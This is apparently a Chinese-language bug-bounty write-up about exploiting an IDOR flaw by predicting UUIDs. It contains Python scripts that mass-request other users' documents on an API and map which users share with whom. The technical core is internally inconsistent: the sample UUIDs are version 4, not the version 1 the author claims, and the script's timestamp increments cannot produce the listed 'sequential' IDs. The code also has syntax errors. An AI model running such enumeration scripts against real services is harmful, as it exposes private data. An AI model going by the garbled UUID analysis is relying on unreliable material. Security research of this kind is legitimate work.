你知道那种在海滩里找一粒特定沙子的感觉吗?开发者以为 UUID 就是给我们设的那种“你永远猜不到”的沙子。但如果我告诉你,有些海滩的沙子其实排得整整齐齐怎么办?我差点放弃目标去吃那种难吃的办公披萨,结果却发现了一张能标出整片海滩的秘密地图。
故事从一个我称为 “SecureApp” 的目标开始。他们的赏金项目以难啃著称。到处都是 UUID,大家都认定 UUID 无法被猜测,对吧?对吧?拿好你的金属探测器,我们要开始沙滩寻宝了。
第一幕:随机性的墙面
完成常规侦察(就不再啰嗦 subfinder/httpx 这些细节了),我发现了一个有意思的端点:
https://api.secureapp.com/v3/documents/{document_id}
典型的 IDOR 猎场。但我用测试账号登录并抓包时,心里一沉——document_id 不是普通整数,而是个 UUID:
f47ac10b-58cc-4372-a567-0e02b2c3d479
唉,开发者最爱的“朴素安全通过混淆”毯子。我第一次试得很惨:
改一个字符:403 Forbidden
随机尝试一个 UUID:404 Not Found
长叹一口气:没戏
很多猎人到这就放弃了。但我有个直觉:也许这些 UUID 并不像看上去那么随机?
第二幕:混乱中的规律
我创建了多个测试账号并在每个账号上传文件。很快我手头有了一组 UUID:
AccountA: f47ac10b-58cc-4372-a567-0e02b2c3d479
AccountA: f47ac10b-58cc-4372-a567-0e02b2c3d480
AccountB: f47ac10b-58cc-4372-a567-0e02b2c3d481
AccountB: f47ac10b-58cc-4372-a567-0e02b2c3d482
等一下——这根本不是随机的!它们是顺序的 UUID!有人用了版本 1 的 UUID(含时间戳和 MAC 地址),在特定场景下是可预测的。
方法论:UUID 版本分析
我写了个小 Python 脚本来分析 UUID 结构——输出显示这些都是带顺序时间戳的版本 1 UUID。中了!
import uuid
def analyze_uuid(uuid_string):
u = uuid.UUID(uuid_string)
print(f"UUID: {u}")
print(f"Version: {u.version}")
print(f"Time: {u.time}")
print(f"Clock seq: {u.clock_seq}")
print("---")
# My collected UUIDs
my_uuids = [
"f47ac10b-58cc-4372-a567-0e02b2c3d479",
"f47ac10b-58cc-4372-a567-0e02b2c3d480",
"f47ac10b-58cc-4372-a567-0e02b2c3d481"
]
for u in my_uuids:
analyze_uuid(u)
第三幕:UUID 生成器 —— 预测“不可预测”的东西
真正的关键来了。如果我能预测 UUID,就能访问系统里每一个文档。我需要弄清他们的生成模式。
思路:带“智慧”的 UUID 暴力(不是盲猜)
不是随便猜,而是用“基于时间的 UUID 预测”法——利用版本 1 UUID 的时间特性。
import requests
import uuid
import time
BASE_URL = "https://api.secureapp.com/v3/documents"
HEADERS = {"Authorization": "Bearer YOUR_TOKEN_HERE"}
def generate_sequential_uuids(base_uuid, count=1000):
"""Generate sequential UUIDs based on a base UUID"""
base = uuid.UUID(base_uuid)
results = []
for i in range(count):
# For version 1 UUIDs, we increment the timestamp
new_time = base.time + i
new_uuid = uuid.UUID(fields=(
new_time & 0xffffffff, # time_low
(new_time >> 32) & 0xffff, # time_mid
(new_time >> 48) & 0x0fff, # time_hi_version
base.clock_seq, # clock_seq_hi_variant
base.clock_seq_low, # clock_seq_low
base.node # node
))
results.append(str(new_uuid))
return results
def hunt_documents():
print("[+] Starting UUID prediction hunt...")
# Start from a known UUID
known_uuid = "f47ac10b-58cc-4372-a567-0e02b2c3d479"
predicted_uuids = generate_sequential_uuids(known_uuid, 5000)
found_documents = []
for i, test_uuid in enumerate(predicted_uuids):
if i % 100 == 0:
print(f"[+] Testing UUID {i}/5000: {test_uuid}")
response = requests.get(f"{BASE_URL}/{test_uuid}", headers=HEADERS)
if response.status_code == 200:
doc_data = response.json()
found_documents.append({
'uuid': test_uuid,
'title': doc_data.get('title', 'Unknown'),
'owner': doc_data.get('owner_id', 'Unknown')
})
print(f"[!] FOUND DOCUMENT: {doc_data.get('title')}")
return found_documents
# Let's go hunting!
results = hunt_documents()
print(f"\n[!] Found {len(results)} accessible documents!")
证明概念:UUID 预测引擎会从已知 UUID 出发,按时间递增生成一批候选 UUID,并对每个候选发起请求;返回 200 的 UUID 即代表存在可访问的文档。
第四幕:金矿 —— 超越文档访问
我在收集文档时注意到响应里有这样的字段:
{
"document_id":"f47ac10b-58cc-4372-a567-0e02b2c3d482",
"title":"Q4 Financial Report",
"owner_id":"user_8842",
"shared_with":[
"user_7731",
"user_9923",
"admin_001"
]
}
shared_with 字段包含了其他用户 ID!这就成了侧向移动的桥梁。
进阶技巧:基于 UUID 的用户枚举
我把脚本扩展为不仅收集文档,还构建出用户关系图谱:记录每个 owner 的文档列表和它们共享给了谁,从而映射出跨用户的分享/信任关系网络。
def advanced_hunt():
print("[+] Starting advanced user relationship mapping...")
user_map = {}
known_uuid = "f47ac10b-58cc-4372-a567-0e02b2c3d479"
predicted_uuids = generate_sequential_uuids(known_uuid, 10000)
for test_uuid in predicted_uuids:
response = requests.get(f"{BASE_URL}/{test_uuid}", headers=HEADERS)
if response.status_code == 200:
doc_data = response.json()
owner = doc_data.get('owner_id')
shared_users = doc_data.get('shared_with', [])
# Build user relationship map
if owner notin user_map:
user_map[owner] = {'documents': [], 'shares_with': set()}
user_map[owner]['documents'].append(test_uuid)
user_map[owner]['shares_with'].update(shared_users)
return user_map
user_relationships = advanced_hunt()
print(f"[!] Mapped {len(user_relationships)} users and their relationships!")
第五幕:大结局 —— 完整数据库重建
让脚本跑了几个小时后,我获得了:
可访问文档 4,827 条
映射用户 892 位
用户间完整的共享关系
访问到财务报告、内部备忘、用户数据导出等敏感信息
影响巨大:我能追踪文档分享模式、识别关键用户,并跨组织访问大量敏感资料。
我提交的漏洞报告包含:
UUID 可预测性的技术分析与证明
可用的 PoC 脚本(能抽取数千文档)
用户关系映射,展示侧向移动可能性
多部门敏感数据暴露的证据
对方 triage 的回复是:“我们把这当成严重事故处理。”他们原本以为 UUID 能保证 IDOR 安全,修复花了三天,改为使用版本 4 UUID 并加上正确的授权校验。
所以下次看到 UUID 时,别只叹气就走。问你自己一句:“这粒沙子有什么特别之处?”也许整片海滩都按颜色和大小排好了队。

